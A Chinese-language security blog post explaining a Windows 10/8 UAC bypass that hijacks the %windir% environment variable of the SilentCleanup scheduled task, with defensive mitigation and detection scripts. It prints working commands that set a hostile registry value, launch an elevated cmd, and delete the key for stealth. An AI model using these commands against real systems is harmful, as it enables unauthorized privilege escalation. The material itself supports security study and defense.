如何使用SilentCleanup繞過UAC?
0x00 前言
最近我在James Forshaw?的博客學到了一個Win10下繞過UAC的技巧,該方法通過腳本實現,並且目前微軟還未對該繞過方法進行修復(預計在Win10 RS3修復)。經過我的學習測試,該方法同樣適用於Win8,並且文中介紹的繞過思路很值得學習,因此整理成文,分享給大家。
文章地址如下:
https://tyranidslair.blogspot.co.uk/2017/05/exploiting-environment-variables-in.html0x01 簡介
本文將要介紹以下內容:
繞過思路
利用方法
0x02 繞過思路
在之前文章也分享過一些繞過UAC思路的心得,可參考以下文章:
Study Notes of using sdclt.exe to bypass UACStudy Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC)個人認為尋找繞過UAC的方法可分為以下兩個步驟:
1、尋找許可權控制不嚴格的程序
通常具有以下特點:
以普通用戶許可權啟動程序
程序默認以高許可權啟動,通常標記為Highest
2、該程序啟動過程是否可被劫持
啟動路徑是否可被劫持
啟動過程載入的問題(如dll)是否可被劫持
0x03 利用方法
對應到James Forshaw?的方法,也是優先尋找許可權控制不嚴格的程序——計劃任務中的SilentCleanup
註:
Matt Nelson之前也介紹過一個利用SilentCleanup繞過UAC的方法,目前已被修復,文章地址如下:
Bypassing UAC on Windows 10 using Disk Cleanup計劃任務中的SilentCleanup:
普通用戶許可權即可啟動
啟動後自動提升為高許可權
通過Powershell可以獲取更多細節,代碼如下:
$task = Get-ScheduledTask SilentCleanupn$task.Principaln
註:
Win7默認powershell版本2.0,不支持Get-ScheduledTask操作
如下圖
Authenticated Users表示普通用戶許可權即可啟動
RunLevel為Highest表示以高許可權啟動
查看啟動參數,powershell代碼如下:
$task.Actions[0]n
如下圖
啟動參數為%windir%system32cleanmgr.exe
這裡存在一個可供利用的地方——環境變數%windir%
註:
可通過set windir查看環境變數%windir%
%windir%默認指向c:Windows
如果修改當前系統環境變數,指向其他路徑,那麼這裡就實現了一個劫持
例如:
將%windir%設置為c:test
在c:testsystem32下將payload.exe保存為cleanmgr.exe
那麼在啟動計劃任務SilentCleanup時,就會以高許可權啟動payload.exe,實現了UAC繞過
更直接的利用方法:
將%windir%設置為cmd /K,那麼在啟動計劃任務SilentCleanup時會彈出cmd.exe
注:
cmd後面需要加參數,否則由於參數問題導致無法正常啟動
/k表示彈出的cmd.exe在執行代碼後不退出
為了增加隱蔽性(很多程序在啟動時需要調用環境變數%windir%),在執行cmd的需要同時刪除新添加的註冊表鍵值windir,可以使用如下代碼:
reg add hkcuEnvironment /v windir /d "cmd /K reg delete hkcuEnvironment /v windir /f && REM "nschtasks /Run /TN MicrosoftWindowsDiskCleanupSilentCleanup /In
註:
以上代碼來自於https://gist.github.com/tyranid/729b334bf9dc0f38184dbd47ae3f52d0#file-disk_cleanup_uac_bypass-bat
將環境變數設置為cmd /K reg delete hkcuEnvironment /v windir /f && REM,那麼在啟動計劃任務SilentCleanup時會彈出cmd.exe,接著執行刪除註冊表鍵值的命令:reg delete hkcuEnvironment /v windir /f
完整操作如下圖(gif圖)
注:
參數如果換成/a,那麼cmd.exe在執行後面的命令後會立即退出
0x04 防禦檢測
1、防禦
修改計劃任務SilentCleanup的啟動參數,將環境變數去掉,換成c:Windows,鎖定路徑
管理員許可權:
$action = New-ScheduledTaskAction -Execute $env:windirSystem32cleanmgr.exe -Argument "/autoclean /d $env:systemdrive"nSet-ScheduledTask SilentCleanup -TaskPath MicrosoftWindowsDiskCleanup -Action $actionn
註:
以上代碼來自於https://gist.github.com/tyranid/9ef39228ba0acc6aa4039d2218006546#file-fix_diskclean_uac_bypass-ps1
如下圖
計劃任務SilentCleanup的啟動參數被修改為c:windowssystem32cleanmgr.exe,無法通過修改環境變數%windir%對其劫持
2、檢測
通過powershell尋找計劃任務中是否還存在可供利用的服務,代碼如下:
$tasks = Get-ScheduledTask | n Where-Object { $_.Principal.RunLevel -ne "Limited" -and n $_.Principal.LogonType -ne "ServiceAccount" -and n $_.State -ne "Disabled" -and n $_.Actions[0].CimClass.CimClassName -eq "MSFT_TaskExecAction" }n
註:
以上代碼來自於https://gist.github.com/tyranid/92e1c7074a9a7b0d5d021e9218e34fe7#file-get_scheduled_tasks-ps1
如下圖,可供利用的服務一共有四個,經測試,其他三個無法實際利用,只有SilentCleanup有效
0x05 補充
該方法同樣適用於Win8環境,完整操作如下圖(gif圖)
Win7系統不包含計劃任務SilentCleanup,因此無法利用
0x06 小結
本文介紹了通過計劃任務SilentCleanup繞過UAC的方法,該方法僅需要通過腳本向當前用戶註冊表寫入鍵值即可,簡單有效。
本文為 3gstudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如若轉載,請聯繫嘶吼編輯:t如何使用SilentCleanup繞過UAC? 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※Windows惡意軟體API調用特徵分析
※初探域滲透神器Empire
※如何處理格式為ACE的惡意軟體文件?
※厚客戶端滲透測試實戰(三)